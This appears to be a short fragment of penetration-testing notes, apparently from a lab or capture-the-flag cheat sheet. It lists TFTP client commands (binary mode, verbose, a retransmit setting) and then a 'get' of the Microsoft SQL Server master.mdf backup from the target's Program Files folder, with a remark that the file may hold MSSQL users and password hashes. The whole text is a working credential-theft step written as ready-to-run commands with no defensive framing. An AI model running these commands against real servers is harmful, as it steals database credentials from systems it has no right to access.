• tftp <ip>
  • mode binary
  • verbose
  • literal
  • rexmt 100
  • download any file like ms -sql sdatabase file which may have user and hash of mssql
    • get \PROGRA~1\MICROS~1\MSSQL1~1.SQL\MSSQL\Backup\master.mdf